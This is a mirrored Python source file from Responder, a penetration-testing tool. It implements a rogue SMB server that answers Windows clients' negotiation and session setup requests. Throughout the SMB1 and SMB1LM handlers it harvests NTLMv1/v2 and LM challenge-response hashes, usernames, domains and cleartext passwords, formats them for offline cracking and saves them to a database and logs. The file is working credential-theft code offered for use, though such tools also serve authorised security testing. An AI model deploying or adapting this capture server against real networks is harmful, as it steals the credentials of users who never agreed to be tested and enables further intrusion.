mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-14 00:53:01 -07:00
344 lines
No EOL
12 KiB
Python
344 lines
No EOL
12 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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from random import randrange
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from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
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from SocketServer import BaseRequestHandler
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from utils import *
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import struct
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def Is_Anonymous(data): # Detect if SMB auth was Anonymous
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SecBlobLen = struct.unpack('<H',data[51:53])[0]
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if SecBlobLen < 260:
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LMhashLen = struct.unpack('<H',data[89:91])[0]
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return LMhashLen in [0, 1]
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elif SecBlobLen > 260:
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LMhashLen = struct.unpack('<H',data[93:95])[0]
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return LMhashLen in [0, 1]
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def Is_LMNT_Anonymous(data):
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LMhashLen = struct.unpack('<H',data[51:53])[0]
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return LMhashLen in [0, 1]
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#Function used to know which dialect number to return for NT LM 0.12
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def Parse_Nego_Dialect(data):
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Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
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for i in range(0, 16):
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if Dialect[i] == 'NT LM 0.12':
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return chr(i) + '\x00'
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def midcalc(data): #Set MID SMB Header field.
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return data[34:36]
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def uidcalc(data): #Set UID SMB Header field.
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return data[32:34]
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def pidcalc(data): #Set PID SMB Header field.
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pack=data[30:32]
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return pack
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def tidcalc(data): #Set TID SMB Header field.
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pack=data[28:30]
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return pack
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def ParseShare(data):
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packet = data[:]
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a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
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if a:
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print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
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def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
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SecBlobLen = struct.unpack('<H',data[51:53])[0]
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BccLen = struct.unpack('<H',data[61:63])[0]
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if SecBlobLen < 260:
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SSPIStart = data[75:]
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LMhashLen = struct.unpack('<H',data[89:91])[0]
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LMhashOffset = struct.unpack('<H',data[91:93])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[97:99])[0]
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NthashOffset = struct.unpack('<H',data[99:101])[0]
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else:
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SSPIStart = data[79:]
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LMhashLen = struct.unpack('<H',data[93:95])[0]
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LMhashOffset = struct.unpack('<H',data[95:97])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[101:103])[0]
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NthashOffset = struct.unpack('<H',data[103:105])[0]
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if NthashLen == 24:
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SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[105:107])[0]
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DomainOffset = struct.unpack('<H',data[107:109])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[113:115])[0]
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UserOffset = struct.unpack('<H',data[115:117])[0]
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Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv1-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': SMBHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 60:
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SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[109:111])[0]
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DomainOffset = struct.unpack('<H',data[111:113])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[117:119])[0]
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UserOffset = struct.unpack('<H',data[119:121])[0]
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Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv2-SSP',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': SMBHash,
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'fullhash': WriteHash,
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})
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def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
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LMhashLen = struct.unpack('<H',data[51:53])[0]
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NthashLen = struct.unpack('<H',data[53:55])[0]
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Bcc = struct.unpack('<H',data[63:65])[0]
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Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
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if NthashLen > 25:
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FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
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LmHash = FullHash[:32].upper()
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NtHash = FullHash[32:].upper()
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv2',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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if NthashLen == 24:
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NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
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LmHash = data[65:65+LMhashLen].encode('hex').upper()
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WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
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SaveToDb({
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'module': 'SMB',
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'type': 'NTLMv1',
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'client': client,
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'user': Domain+'\\'+Username,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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def IsNT4ClearTxt(data, client):
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HeadLen = 36
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if data[14:16] == "\x03\x80":
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SmbData = data[HeadLen+14:]
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WordCount = data[HeadLen]
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ChainedCmdOffset = data[HeadLen+1]
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if ChainedCmdOffset == "\x75":
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PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
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if PassLen > 2:
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Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
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User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
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print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
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WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
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class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
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def handle(self):
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try:
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while True:
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data = self.request.recv(1024)
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self.request.settimeout(1)
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if not data:
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break
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if data[0] == "\x81": #session request 139
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Buffer = "\x82\x00\x00\x00"
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try:
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self.request.send(Buffer)
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data = self.request.recv(1024)
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except:
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pass
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if data[8:10] == "\x72\x00": # Negociate Protocol Response
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Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
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Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
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Body.calculate()
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x73\x00": # Session Setup AndX Request
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IsNT4ClearTxt(data, self.client_address[0])
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# STATUS_MORE_PROCESSING_REQUIRED
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Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
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Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
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Body.calculate()
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(4096)
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if data[8:10] == "\x73\x00": # STATUS_SUCCESS
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if Is_Anonymous(data):
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Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
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Body = SMBSessEmpty()
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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else:
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# Parse NTLMSSP_AUTH packet
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ParseSMBHash(data,self.client_address[0])
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# Send STATUS_SUCCESS
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Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Body = SMBSession2Accept()
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Body.calculate()
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x75\x00": # Tree Connect AndX Request
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ParseShare(data)
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Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
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Body = SMBTreeData()
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Body.calculate()
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x71\x00": #Tree Disconnect
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Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Body = "\x00\x00\x00"
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
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Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Body = "\x00\x00\x00"
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x25\x00": # Trans2 Access Denied.
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Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Body = "\x00\x00\x00"
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x74\x00": # LogOff
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Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Body = "\x02\xff\x00\x27\x00\x00\x00"
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Packet = str(Header)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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except socket.timeout:
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pass
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class SMB1LM(BaseRequestHandler): # SMB Server class, old version
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def handle(self):
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try:
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self.request.settimeout(0.5)
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data = self.request.recv(1024)
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if data[0] == "\x81": #session request 139
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Buffer = "\x82\x00\x00\x00"
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x72\x00": #Negotiate proto answer.
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head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
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Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
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Body.calculate()
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Packet = str(head)+str(Body)
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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if data[8:10] == "\x73\x00": #Session Setup AndX Request
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if Is_LMNT_Anonymous(data):
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head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Packet = str(head)+str(SMBSessEmpty())
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Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
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self.request.send(Buffer)
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else:
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ParseLMNTHash(data,self.client_address[0])
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head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
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Packet = str(head) + str(SMBSessEmpty())
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Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
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self.request.send(Buffer)
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data = self.request.recv(1024)
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except Exception:
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self.request.close()
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pass |